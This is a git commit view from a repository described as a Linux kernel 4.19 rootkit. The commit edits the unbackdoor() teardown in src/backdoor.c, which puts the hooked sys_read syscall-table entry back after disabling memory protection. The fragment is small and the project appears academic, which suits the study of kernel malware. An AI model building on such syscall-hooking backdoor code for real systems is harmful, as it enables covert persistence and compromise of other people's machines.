linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit acda7500afae2d4559f59bf2b835709e13cbcb2f
parent ef59cbd400273e189cad61f1a5374c48a675dd96
Author: Tizian Leonhardt <tizianleonhardt@web.de>
Date:   Sun, 29 Nov 2020 22:48:57 +0100

Remove (for now) read_install_count

Diffstat:
Msrc/backdoor.c | 8+++-----
1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/src/backdoor.c b/src/backdoor.c @@ -42,6 +42,8 @@ backdoor_tty(void) void unbackdoor(void) { + + if (tty) { if (current_receive_buf2) { while (atomic_read(&receive_buf2_count) > 0); @@ -56,10 +58,7 @@ unbackdoor(void) tty = NULL; } - if (atomic_dec_return(&read_install_count) < 0) { - atomic_set(&read_install_count, 0); - - if (sys_read) { + if (sys_read) { disable_protection(); sys_calls[__NR_read] = (void *)sys_read; enable_protection(); @@ -70,7 +69,6 @@ unbackdoor(void) DEBUG_INFO("Waiting for %d tasks", cur); msleep(250); } - } } }